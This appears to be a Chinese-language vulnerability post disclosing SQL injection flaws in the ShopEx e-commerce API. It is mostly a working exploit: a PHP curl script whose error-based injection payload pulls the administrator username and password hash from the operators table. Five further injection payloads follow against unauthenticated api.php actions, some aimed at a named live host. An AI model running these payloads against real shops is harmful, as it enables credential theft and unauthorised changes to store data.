shopEx SQL注入

shopEx 最新版的API注入一处

缺陷文件：
/core/api/payment/2.0/api_b2b_2_0_payment_cfg.php
core/api/payment/1.0/api_b2b_2_0_payment_cfg.php

第44行 $data['columns'] 未做过滤导致注入
[php]

set_time_limit(0);

ob_flush();

echo 'Test: http://localhost:808'."/r/n";

$sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1';

$url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0';

$ch = curl_init();

curl_setopt($ch, CURLOPT_POST, 1);

curl_setopt($ch, CURLOPT_URL,$url);

curl_setopt($ch, CURLOPT_POSTFIELDS, $sql);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

flush();

$data = curl_exec($ch);

echo $data;

curl_close($ch);

?>
[/php]
外带一句 ShopEx对API操作的模块未做认证，任何用户都可访问,攻击者可通过它来对产品的分类，类型，规格，品牌等，进行添加，删除和修改，过滤不当还可造成注入.

注射1：

http://www.0day5.com/api.php

POST

act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#

注射2：

http://www.0day5.com/shopex/api.php

act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}

注射3：

http://www.0day5.com/shopex/api.php

act=get_spec_single&api_version=3.1&spec_id=1 xxx

注射4：

http://www.0day5.com/shopex/api.php

act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1&currency=1

注射5：

http://www.0day5.com/shopex/api.php

act=search_dly_h_area&return_data=string&columns=xxxxx